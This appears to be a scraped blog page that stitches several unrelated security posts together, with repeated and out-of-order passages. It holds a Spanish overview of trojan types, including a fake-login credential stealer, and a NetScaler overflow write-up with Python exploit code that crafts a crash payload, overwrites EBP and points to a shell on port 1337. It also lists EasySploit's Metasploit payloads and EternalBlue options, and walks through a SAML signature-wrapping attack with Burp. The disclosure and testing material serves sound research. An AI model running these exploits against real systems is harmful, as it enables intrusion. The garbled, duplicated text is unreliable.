domingo, 7 de junio de 2020
sábado, 6 de junio de 2020
Troyanos: Sus Categorías Y Componentes Principales
Introducción
Normalmente todos hablamos de todo tipo de malware, las empresas de seguridad que dan cursos sobre forensia a malware y demás temas relacionas a esto lo hacen, pero realmente sabemos sus características principales?
Los virus y los caballos de Troya hacen que las computadoras hagan cosas que los usuarios no quieren que se lleven a cabo. El término Caballo de Troya se debe al uso por los griegos de un caballo de madera hueco lleno de guerreros para engañar a los troyanos y por eso esa designación para identificarlos.
Los troyanos se dividen en 4 categorías principales
Las mascaradas directas
Ejemplo: Podría mencionar a un troyano que apareció en los años 90´s llamado iclean20.EXE el cual llegaba añadido a un email el cual supuestamente se usaba para examinar nuestra PC en busca de malware y ademas que aparentaba ser enviado por el fabricante del producto, pero realmente se disfrazaba de una herramienta de limpieza del antivirus Trend Micro y que solo ha afectó a usuarios en China.
A pesar de que el uso de esta técnica (enviar un malware como archivo adjunto) no es lo más usual en estos días, (ya que la mayor parte de códigos maliciosos se están distribuyendo principalmente como links, los cuales son descargados directamente de sitios web que han sido comprometidos), sigue siendo efectiva.
installer
adware
loader
ya que al ser ejecutado hace lo siguiente:
- PE32 executable (GUI) Intel 80386, for MS Windows
- Escribe en el registro de windows 11757 veces
- Hace 7 peticiones HTTP al
servidor:https://ift.tt/3dywtIg
Y demás infecciones que no son parte del tema a tratar en este articulo y que trataremos mas a detalle en otro articulo.
no se hacen pasar por programas existentes, sino que se hacen pasar por programas posibles que son distintos de lo que son.
Ejemplo: programas con nombres como sexo arriba.
tienen nombres que se aproximan a los nombres de programas legítimos.
Ejemplo: un programa llamado dr que podría activarse si el usuario escribe mal el directorio. Dado que los usuarios desean instalar programas (por ejemplo, para fines de mantenimiento o actualización) y tal vez escribir sus propios programas, en la práctica, pocos sistemas proporcionan restricciones en los nombres de los programas; incluso si lo hacen, debe haber menos restricciones para los programadores que los diseñan. La consecuencia de esta liberalidad son los troyanos indetectables / no identificables.
no son programas fácilmente identificables invocados por el usuario, pero generalmente son programas que ya se están ejecutando y que proporcionan una interpretación no deseada de los comandos u otras actividades del usuario.
Ejemplo: un sistema operativo cuyo mensaje de inicio de sesión para el usuario es una pantalla clara y el mensaje 'login:' se puede troyanizar indirectamente al construir un programa que intercepte al usuario, al borrar la pantalla y al emitir el mensaje de inicio de sesión. Luego puede embarcarse en cualquier actividad que desee, generalmente registrando el nombre y la contraseña del usuario; para evitar que el usuario lo detecte, transferiría el control al programa de inicio de sesión auténtico. (Si esto no es factible, podría informar erróneamente un error de contraseña, pedirle al usuario que lo intente nuevamente y luego finalizar para que el programa de inicio de sesión auténtico se haga cargo por completo).
Ejemplo: cuando se inserta un CD de entretenimiento, puede comenzar a reproducirse automáticamente; si contiene código ejecutable, puede ejecutarse y causar daños (o prepararse para hacerlo). El Macintosh AutoStart 9805 es un troyano de este tipo; comienza la ejecución como un efecto secundario de insertar medios extraíbles.
Un componente troyano
Un programa infectado hace algo no deseado en ciertas circunstancias. El componente troyano a veces se denomina carga útil.
Un componente de latencia
La infección viral puede ocultarse indefinidamente. Los troyanos también pueden usar la latencia para ocultar su presencia, pero con un virus latente (o, equivalentemente, daño troyano inadvertido) es esencial para la efectividad de su tercer componente:
Un componente infeccioso
Los programas infectados infectan otros programas, que luego se comportan de manera similar. (Los virus pueden desear evitar la reinfección, porque la reinfección toma tiempo o espacio y, por lo tanto, puede hacer que la infección sea más obvia. Los virus a menudo incluyen una heurística para la autodetección, un procedimiento que, si se identifica, podría dirigirse contra ellos. )
profesor x
Las máscaras simples
no se hacen pasar por programas existentes, sino que se hacen pasar por programas posibles que son distintos de lo que son.
Ejemplo: programas con nombres como sexo arriba.
Las mascaradas de deslizamiento
tienen nombres que se aproximan a los nombres de programas legítimos.
Ejemplo: un programa llamado dr que podría activarse si el usuario escribe mal el directorio. Dado que los usuarios desean instalar programas (por ejemplo, para fines de mantenimiento o actualización) y tal vez escribir sus propios programas, en la práctica, pocos sistemas proporcionan restricciones en los nombres de los programas; incluso si lo hacen, debe haber menos restricciones para los programadores que los diseñan. La consecuencia de esta liberalidad son los troyanos indetectables / no identificables.
Las mascaradas medioambientales
no son programas fácilmente identificables invocados por el usuario, pero generalmente son programas que ya se están ejecutando y que proporcionan una interpretación no deseada de los comandos u otras actividades del usuario.
Ejemplo: un sistema operativo cuyo mensaje de inicio de sesión para el usuario es una pantalla clara y el mensaje 'login:' se puede troyanizar indirectamente al construir un programa que intercepte al usuario, al borrar la pantalla y al emitir el mensaje de inicio de sesión. Luego puede embarcarse en cualquier actividad que desee, generalmente registrando el nombre y la contraseña del usuario; para evitar que el usuario lo detecte, transferiría el control al programa de inicio de sesión auténtico. (Si esto no es factible, podría informar erróneamente un error de contraseña, pedirle al usuario que lo intente nuevamente y luego finalizar para que el programa de inicio de sesión auténtico se haga cargo por completo).
Ejemplo: cuando se inserta un CD de entretenimiento, puede comenzar a reproducirse automáticamente; si contiene código ejecutable, puede ejecutarse y causar daños (o prepararse para hacerlo). El Macintosh AutoStart 9805 es un troyano de este tipo; comienza la ejecución como un efecto secundario de insertar medios extraíbles.
Cualquiera sea su comportamiento, una infección viral tiene tres componentes principales:
Un componente troyano
Un programa infectado hace algo no deseado en ciertas circunstancias. El componente troyano a veces se denomina carga útil.
Un componente de latencia
La infección viral puede ocultarse indefinidamente. Los troyanos también pueden usar la latencia para ocultar su presencia, pero con un virus latente (o, equivalentemente, daño troyano inadvertido) es esencial para la efectividad de su tercer componente:
Un componente infeccioso
Los programas infectados infectan otros programas, que luego se comportan de manera similar. (Los virus pueden desear evitar la reinfección, porque la reinfección toma tiempo o espacio y, por lo tanto, puede hacer que la infección sea más obvia. Los virus a menudo incluyen una heurística para la autodetección, un procedimiento que, si se identifica, podría dirigirse contra ellos. )
profesor x
via Rodolfo H. Baz
This article is the property of Tenochtitlan Offensive Security. Verlo Completo --> https://tenochtitlan-sec.blogspot.com
Related posts
LEGALITY OF ETHICAL HACKING
Why ethical hacking?
Legality of Ehical Hacking

Ethical hacking is legal if the hacker abides by the rules stipulated in above section on the definition of ethical hacking.
Ethical hacking is not legal for black hat hackers.They gain unauthorized access over a computer system or networks for money extortion.

Legality of Ehical Hacking

Ethical hacking is legal if the hacker abides by the rules stipulated in above section on the definition of ethical hacking.
Ethical hacking is not legal for black hat hackers.They gain unauthorized access over a computer system or networks for money extortion.
Related links
- Hacking Games Online
- Hacking Growth
- Pentest Example Report
- Pentest Training
- Pentesting
- Pentest With Metasploit
- Pentest
- Hackintosh
- How To Pentest A Website
- Pentest+ Vs Oscp
- Pentest Linux
- Hacking Games Online
- Pentesting Tools
- Pentest Wifi
- Pentest Iso
- Hackerx
- Hacking Resources
- Pentest Environment
- Hacking To The Gate
- Is Hacking Illegal
Scaling The NetScaler
A few months ago I noticed that Citrix provides virtual appliances to test their applications, I decided to pull down an appliance and take a peek. First I started out by downloading the trial Netscaler VM (version 10.1-119.7) from the following location:
http://www.citrix.com/products/netscaler-application-delivery-controller/try.html
Upon boot, the appliance is configured with nsroot/nsroot for the login and password. I logged in and started looking around and noticed that the web application is written in PHP using the code igniter framework (screw that crap). Since code igniter abstracts everything with MVC and actual scripts are hidden behind routes I decided to take a look at the apache configuration. I noticed that apache was configured with a SOAP endpoint that was using shared objects (YUMMY):
/etc/httpd
# SOAP handlerIt wasn't clear what this end point was used for and it wasn't friendly if you hit it directly:
<Location /soap>
SetHandler gsoap-handler SOAPLibrary /usr/lib/libnscli90.so SupportLibrary /usr/lib/libnsapps.so </Location>
So I grep'd through the application code looking for any calls to this service and got a hit:
root@ns# grep -r '/soap' *
models/common/xmlapi_model.php: $this->soap_client = new nusoap_client("http://" . $this->server_ip . "/soap");
Within this file I saw this juicy bit of PHP which would have made this whole process way easier if it wasn't neutered with the hardcoded "$use_api = true;"
/netscaler/ns_gui/admin_ui/php/application/models/common/xmlapi_model.php
I fired up netcat to see what it was sending, but it was just "junk", so I grabbed a pcap on the loopback interface on the netscaler vm to catch a normal transaction between the SOAP endpoint and the service to see what it was doing. It still wasn't really clear exactly what the data was as it was some sort of "binary" stream:
Which provided the following awesome log entry in the Netscaler VM window:
Loading the dump up in gdb we get the following (promising looking):
If we can follow this code path keeping EDX a valid memory address and set EBP+12 (offset in our payload) to 0x0 we can take the jump LEAV/RET and for the sake of time and my sanity, unroll the call stack to the point of our control. You will have to trust me here OR download the VM and see for yourself (my suggestion if you have found this interesting :> )
And of course, the money shot:
A PoC can be found HERE that will spawn a shell on port 1337 of the NetScaler vm, hopefully someone has some fun with it :)
It is not clear if this issue has been fixed by Citrix as they stopped giving me updates on the status of this bug. For those that are concerned with the timeline:
6/3/14 - Bug was reported to Citrix
6/4/14 - Confirmation report was received
6/24/14 - Update from Citrix - In the process of scheduling updates
7/14/14 - Emailed asking for update
7/16/14 - Update from Citrix - Still scheduling update, will let me know the following week.
9/22/14 - No further communication received. Well past 100 days, public disclosure
protected function command_execution($command, $parameters, $use_api = true) {For giggles I set it to false and gave it a whirl, worked as expected :(
//Reporting can use API & exe to execute commands. To make it work, comment the following line.
$use_api = true; if(!$use_api)
{
$exec_command = "/netscaler/nscollect " . $this- >convert_parameters_to_string($command, $parameters);
$this->benchmark->mark("ns_exe_start");
$exe_result = exec($exec_command); $this->benchmark->mark("ns_exe_end");
$elapsed_time = $this->benchmark->elapsed_time("ns_exe_start",
"ns_exe_end");
log_message("profile", $elapsed_time . " --> EXE_EXECUTION_TIME " .
$command); $this->result["rc"] = 0;
$this->result["message"] = "Done"; $this->result["List"] = array(array("response" => $exe_result));
$return_value = 0;
}
The other side of this "if" statement was a reference to making a soap call and due to the reference to the local "/soap" and the fact all roads from "do_login" were driven to this file through over nine thousand levels of abstraction it was clear that upon login the server made an internal request to this endpoint. I started up tcpdump on the loopback interface on the box and captured an example request:
According to tcpdump it was trying to connect to my provided host on port 3010:
root@ns# tcpdump -Ani lo0 -s0 port 80I pulled the request out and started playing with it in burp repeater. The one thing that seemed strange was that it had a parameter that was the IP of the box itself, the client string I got...it was used for tracking who was making requests to login, but the other didn't really make sense to me. I went ahead and changed the address to another VM and noticed something strange:
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo0, link-type NULL (BSD loopback), capture size 65535 bytes 23:29:18.169188 IP 127.0.0.1.49731 > 127.0.0.1.80: P 1:863(862) ack 1 win 33304 <nop,nop,timestamp 1659543 1659542>
E...>D@.@............C.P'R...2.............
..R...R.POST /soap HTTP/1.0
Host: 127.0.0.1
User-Agent: NuSOAP/0.9.5 (1.56)
Content-Type: text/xml; charset=ISO-8859-1
SOAPAction: ""
Content-Length: 708
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body> <ns7744:login xmlns:ns7744="urn:NSConfig"><username xsi:type="xsd:string">nsroot</username><password xsi:type="xsd:string">nsroot</password><clientip
xsi:type="xsd:string">192.168.166.1</clientip><cookieTimeout xsi:type="xsd:int">1800</cookieTimeout><ns xsi:type="xsd:string">192.168.166.138</ns></ns7744:login></SOAP-ENV:Body> </SOAP-ENV:Envelope>
23:29:18.174582 IP 127.0.0.1.80 > 127.0.0.1.49731: P 1:961(960) ack 863 win 33304 <nop,nop,timestamp 1659548 1659543>
E...>[@.@............P.C.2..'R.o.....\.....
..R...R.HTTP/1.1 200 OK
Date: Mon, 02 Jun 2014 23:29:18 GMT
Server: Apache
Last-Modified: Mon, 02 Jun 2014 23:29:18 GMT Status: 200 OK
Content-Length: 615
Connection: keep-alive, close
Set-Cookie: NSAPI=##7BD2646BC9BC8A2426ACD0A5D92AF3377A152EBFDA878F45DAAF34A43 09F;Domain=127.0.0.1;Path=/soap;Version=1
Content-Type: text/xml; charset=utf-8
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:NSConfig"> <SOAP-ENV:Header></SOAP-ENV:Header><SOAP-ENV:Body SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <ns:loginResponse><return xsi:type="ns:simpleResult"><rc xsi:type="xsd:unsignedInt">0</rc><message xsi:type="xsd:string">Done</message> </return></ns:loginResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>
According to tcpdump it was trying to connect to my provided host on port 3010:
root@ns# tcpdump -A host 192.168.166.137 and port not ssh
tcpdump: WARNING: BIOCPROMISC: Device busy
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on 0/1, link-type EN10MB (Ethernet), capture size 96 bytes 23:37:17.040559 IP 192.168.166.138.49392 > 192.168.166.137.3010: S 4126875155:4126875155(0) win 65535 <mss 1460,nop,wscale 1,nop,nop,timestamp 2138392 0,sackOK,eol>
I fired up netcat to see what it was sending, but it was just "junk", so I grabbed a pcap on the loopback interface on the netscaler vm to catch a normal transaction between the SOAP endpoint and the service to see what it was doing. It still wasn't really clear exactly what the data was as it was some sort of "binary" stream:
I grabbed a copy of the servers response and setup a test python client that replied with a replay of the servers response, it worked (and there may be an auth bypass here as it responds with a cookie for some API functionality...). I figured it may be worth shooting a bunch of crap back at the client just to see what would happen. I modified my python script to insert a bunch "A" into the stream:
import socket,sys
resp = "\x00\x01\x00\x00\xa5\xa5"+ ("A"*1000)+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
HOST = None # Symbolic name meaning all available interfaces
PORT = 3010 # Arbitrary non-privileged port
s = None
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC,socket.SOCK_STREAM, 0, socket.AI_PASSIVE):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except socket.error as msg:
s = None
continue
try:
s.bind(sa)
s.listen(1)
except socket.error as msg:
s.close()
s = None
continue
break
if s is None:
print 'could not open socket'
sys.exit(1)
conn, addr = s.accept()
print 'Connected by', addr
while 1:
data = conn.recv(1024)
if not data:
break
print 'sending!' conn.send(resp)
print 'sent!' conn.close()
Which provided the following awesome log entry in the Netscaler VM window:
Loading the dump up in gdb we get the following (promising looking):
And the current instruction it is trying to call:
An offset into the address 0x41414141, sure that usually works :P - we need to adjust the payload in a way that EDX is a valid address we can address by offset in order to continue execution. In order to do that we need to figure out where in our payload the EDX value is coming from. The metasploit "pattern_create" works great for this ("root@blah:/usr/share/metasploit-framework/tools# ./pattern_create.rb 1000"). After replacing the "A" *1000 in our script with the pattern we can see that EDX is at offset 610 in our payload:
Looking at the source of EDX, which is an offset of EBP we can see the rest of our payload, we can go ahead and replace the value in our payload at offset 610 with the address of EBP
An offset into the address 0x41414141, sure that usually works :P - we need to adjust the payload in a way that EDX is a valid address we can address by offset in order to continue execution. In order to do that we need to figure out where in our payload the EDX value is coming from. The metasploit "pattern_create" works great for this ("root@blah:/usr/share/metasploit-framework/tools# ./pattern_create.rb 1000"). After replacing the "A" *1000 in our script with the pattern we can see that EDX is at offset 610 in our payload:
Looking at the source of EDX, which is an offset of EBP we can see the rest of our payload, we can go ahead and replace the value in our payload at offset 610 with the address of EBP
resp = "\x00\x01\x00\x00\xa5\xa5"+p[:610]+'\x78\xda\xff\xff'+p[614:]+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
The crash was caused because once again the app is trying to access a value at an offset of a bad address (from our payload). This value is at offset 606 in our payload according to "pattern_offset" and if you were following along you can see that this value sits at 0xffffda78 + 4, which is what we specified previously. So we need to adjust our payload with another address to have EDX point at a valid address and keep playing whack a mole OR we can look at the function and possibly find a short cut:
If we can follow this code path keeping EDX a valid memory address and set EBP+12 (offset in our payload) to 0x0 we can take the jump LEAV/RET and for the sake of time and my sanity, unroll the call stack to the point of our control. You will have to trust me here OR download the VM and see for yourself (my suggestion if you have found this interesting :> )
And of course, the money shot:
A PoC can be found HERE that will spawn a shell on port 1337 of the NetScaler vm, hopefully someone has some fun with it :)
It is not clear if this issue has been fixed by Citrix as they stopped giving me updates on the status of this bug. For those that are concerned with the timeline:
6/3/14 - Bug was reported to Citrix
6/4/14 - Confirmation report was received
6/24/14 - Update from Citrix - In the process of scheduling updates
7/14/14 - Emailed asking for update
7/16/14 - Update from Citrix - Still scheduling update, will let me know the following week.
9/22/14 - No further communication received. Well past 100 days, public disclosure
More information
EasySploit: A Metasploit Automation Bash Scripts To Use Metasploit Framework Easier And Faster Than Ever
About EasySploit: EasySploit is Metasploit automation tool to use Metasploit Framework EASIER and FASTER than EVER.
EasySploit's options:
- Windows --> test.exe (payload and listener)
- Android --> test.apk (payload and listener)
- Linux --> test.py (payload and listener)
- MacOS --> test.jar (payload and listener)
- Web --> test.php (payload and listener)
- Scan if a target is vulnerable to ms17_010 (EnternalBlue)
- Exploit Windows 7/2008 x64 ONLY by IP (ms17_010_eternalblue)
- Exploit Windows Vista/XP/2000/2003 ONLY by IP (ms17_010_psexec)
- Exploit Windows with a link (HTA Server)
- Contact with me - My accounts
EasySploit's installation
You must install Metasploit Framework first.
For Arch Linux-based distros, enter this command:
sudo pacman -S metasploitFor other Linux distros, enter these command to install Metasploit Framework: And then, enter these commands to install EasySploit:
How to use EasySploit? (EasySploit video series tutorials)
Disclaimer about EasySploit:
Usage of EASYSPLOIT for attacking targets without prior mutual consent is ILLEGAL. Developers are not responsible for any damage caused by this script. EASYSPLOIT is intented ONLY FOR EDUCATIONAL PURPOSES!!! STAY LEGAL!!!
You might like these similar tools:
You can support KALI LINUX TRICKS from Patreon.
You might like these similar tools:
- ISPY: Exploiting EternalBlue And BlueKeep Vulnerabilities With Metasploit Easier
- discover: A Custom Bash Scripts Used To Perform Pentesting Tasks With Metasploit
- Cloak: An Intelligent Python Backdoors Framework
- mkvenom: A simple Bash script to create msfvenom Payloads
- venom: Metasploit shellcode Generator/Compiler/Listener
- Metasploit AV Evasion: A Metasploit Payloads Generator can Bypass Anti-Virus
- Terminator: An Easy way to create Metasploit Payloads
- HackTheWorld: Generating Payloads to Bypass All Antivirus
- Andspoilt: Android Exploit Toolkit
- AutoSploit: An Automated Exploiting tool written in Python 2
- ezsploit: An Automated Linux bash script for Metasploit Framework
- TheFatRat: A Massive Backdoor creator and Exploiting tool
You can support KALI LINUX TRICKS from Patreon.
Related word
Testing SAML Endpoints For XML Signature Wrapping Vulnerabilities
A lot can go wrong when validating SAML messages. When auditing SAML endpoints, it's important to look out for vulnerabilities in the signature validation logic. XML Signature Wrapping (XSW) against SAML is an attack where manipulated SAML message is submitted in an attempt to make the endpoint validate the signed parts of the message -- which were correctly validated -- while processing a different attacker-generated part of the message as a way to extract the authentication statements. Because the attacker can arbitrarily forge SAML assertions which are accepted as valid by the vulnerable endpoint, the impact can be severe. [1,2,3]
Testing for XSW vulnerabilities in SAML endpoints can be a tedious process, as the auditor needs to not only know the details of the various XSW techniques, but also must handle a multitude of repetitive copy-and-paste tasks and apply the appropriate encoding onto each message. The latest revision of the XSW-Attacker module in our BurpSuite extension EsPReSSo helps to make this testing process easier, and even comes with a semi-automated mode. Read on to learn more about the new release!
To simplify its use, the XSW-Attacker performs the attack in a two step process of initialization and execution, as reflected by its two tabs Init Attack and Execute Attack. The interface of the XSW-Attacker is depicted below.
The Init Attack tab displays the current SAML message. To execute a signature wrapping attack, a payload needs to be configured in a way that values of the originally signed message are replaced with values of the attacker's choice. To do this, enter the value of a text-node you wish to replace in the Current value text-field. Insert the replacement value in the text-field labeled New value and click the Add button. Multiple values can be provided; however, all of which must be child nodes of the signed element. Valid substitution pairs and the corresponding XPath selectors are displayed in the Modifications Table. To delete an entry from the table, select the entry and press `Del`, or use the right-click menu.
Next, click the Generate vectors button - this will prepare the payloads accordingly and brings the Execute Attack tab to the front of the screen.
At the top of the Execute Attack tab, select one of the pre-generated payloads. The structure of the selected vector is explained in a shorthand syntax in the text area below the selector.
The text-area labeled Attack vector is editable and can be used to manually fine-tune the chosen payload if necessary. The button Pretty print opens up a syntax-highlighted overview of the current vector.
To submit the manipulated SAML response, use Burp's Forward button (or Go, while in the Repeater).
First, open an intercepted request in Burp's Intruder (e.g., by pressing `Ctrl+i`). For the attack type, select Sniper. Open the Intruder's Positions tab, clear all payload positions but the value of the XML message (the `SAMLResponse` parameter, in our example). Note: the XSW-Attacker can only handle XML messages that contain exactly one XML Signature.
Next, switch to the Payloads tab and for the Payload Type, select Extension-generated. From the newly added Select generator drop-down menu, choose XSW Payloads, as depicted in the screenshot below.
While still in the Payloads tab, disable the URL-encoding checkbox in the Payload Encoding section, since Burp Intruder deals with the encoding automatically and should suffice for most cases.
Click the Start Attack button and a new window will pop up. This window is shown below and is similar to the XSW Attacker's Init Attack tab.
Configure the payload as explained in the section above. In addition, a schema analyzer can be selected and checkboxes at the bottom of the window allow the tester to choose a specific encoding. However, for most cases the detected presets should be correct.
Click the Start Attack button and the Intruder will start sending each of the pre-generated vectors to the configured endpoint. Note that this may result in a huge number of outgoing requests. To make it easier to recognize the successful Signature Wrapping attacks, it is recommended to use the Intruder's Grep-Match functionality. As an example, consider adding the replacement values from the Modifications Table as a Grep-Match rule in the Intruder's Options tab. By doing so, a successful attack vector will be marked with a checkmark in the results table, if the response includes any of the configure grep rules.
Our students Nurullah Erinola, Nils Engelberts and David Herring did a great job improving the execution of XSW and implementing a much better UI.
---
[1] On Breaking SAML - Be Whoever You Want to Be
[2] Your Software at My Service
[3] Security Analysis of XAdES Validation in the CEF Digital Signature Services (DSS)
[4] WS-Attacker
More informationTesting for XSW vulnerabilities in SAML endpoints can be a tedious process, as the auditor needs to not only know the details of the various XSW techniques, but also must handle a multitude of repetitive copy-and-paste tasks and apply the appropriate encoding onto each message. The latest revision of the XSW-Attacker module in our BurpSuite extension EsPReSSo helps to make this testing process easier, and even comes with a semi-automated mode. Read on to learn more about the new release!
SAML XSW-Attacker
After a signed SAML message has been intercepted using the Burp Proxy and shown in EsPReSSO, you can open the XSW-Attacker by navigating to the SAML tab and then the Attacker tab. Select Signature Wrapping from the drop down menu, as shown in the screenshot below:To simplify its use, the XSW-Attacker performs the attack in a two step process of initialization and execution, as reflected by its two tabs Init Attack and Execute Attack. The interface of the XSW-Attacker is depicted below.
![]() |
| XSW-Attacker overview |
The Init Attack tab displays the current SAML message. To execute a signature wrapping attack, a payload needs to be configured in a way that values of the originally signed message are replaced with values of the attacker's choice. To do this, enter the value of a text-node you wish to replace in the Current value text-field. Insert the replacement value in the text-field labeled New value and click the Add button. Multiple values can be provided; however, all of which must be child nodes of the signed element. Valid substitution pairs and the corresponding XPath selectors are displayed in the Modifications Table. To delete an entry from the table, select the entry and press `Del`, or use the right-click menu.
Next, click the Generate vectors button - this will prepare the payloads accordingly and brings the Execute Attack tab to the front of the screen.
At the top of the Execute Attack tab, select one of the pre-generated payloads. The structure of the selected vector is explained in a shorthand syntax in the text area below the selector.
The text-area labeled Attack vector is editable and can be used to manually fine-tune the chosen payload if necessary. The button Pretty print opens up a syntax-highlighted overview of the current vector.
To submit the manipulated SAML response, use Burp's Forward button (or Go, while in the Repeater).
Automating XSW-Attacker with Burp Intruder
Burp's Intruder tool allows the sending of automated requests with varying payloads to a test target and analyzes the responses. EsPReSSO now includes a Payload Generator called XSW Payloads to facilitate when testing the XML processing endpoints for XSW vulnerabilities. The following paragraphs explain how to use the automated XSW attacker with a SAML response.First, open an intercepted request in Burp's Intruder (e.g., by pressing `Ctrl+i`). For the attack type, select Sniper. Open the Intruder's Positions tab, clear all payload positions but the value of the XML message (the `SAMLResponse` parameter, in our example). Note: the XSW-Attacker can only handle XML messages that contain exactly one XML Signature.
Next, switch to the Payloads tab and for the Payload Type, select Extension-generated. From the newly added Select generator drop-down menu, choose XSW Payloads, as depicted in the screenshot below.
While still in the Payloads tab, disable the URL-encoding checkbox in the Payload Encoding section, since Burp Intruder deals with the encoding automatically and should suffice for most cases.
Click the Start Attack button and a new window will pop up. This window is shown below and is similar to the XSW Attacker's Init Attack tab.
Configure the payload as explained in the section above. In addition, a schema analyzer can be selected and checkboxes at the bottom of the window allow the tester to choose a specific encoding. However, for most cases the detected presets should be correct.
Click the Start Attack button and the Intruder will start sending each of the pre-generated vectors to the configured endpoint. Note that this may result in a huge number of outgoing requests. To make it easier to recognize the successful Signature Wrapping attacks, it is recommended to use the Intruder's Grep-Match functionality. As an example, consider adding the replacement values from the Modifications Table as a Grep-Match rule in the Intruder's Options tab. By doing so, a successful attack vector will be marked with a checkmark in the results table, if the response includes any of the configure grep rules.
Credits
EsPReSSO's XSW Attacker is based on the WS-Attacker [4] library by Christian Mainka and the original adoption for EsPReSSO has been implemented by Tim Günther.Our students Nurullah Erinola, Nils Engelberts and David Herring did a great job improving the execution of XSW and implementing a much better UI.
---
[1] On Breaking SAML - Be Whoever You Want to Be
[2] Your Software at My Service
[3] Security Analysis of XAdES Validation in the CEF Digital Signature Services (DSS)
[4] WS-Attacker
DEFINATION OF HACKING
DEFINATION OF HACKING
Hacking is an attempt to exploit a computer system vulnerabilities or a private network inside a computer to gain unauthorized acess.
Hacking is identifying and exploiting weakness in computer system and/ or computer networks for finding the vulnerability and loopholes.
Related newsHacking is an attempt to exploit a computer system vulnerabilities or a private network inside a computer to gain unauthorized acess.
Hacking is identifying and exploiting weakness in computer system and/ or computer networks for finding the vulnerability and loopholes.
Suscribirse a:
Entradas (Atom)



















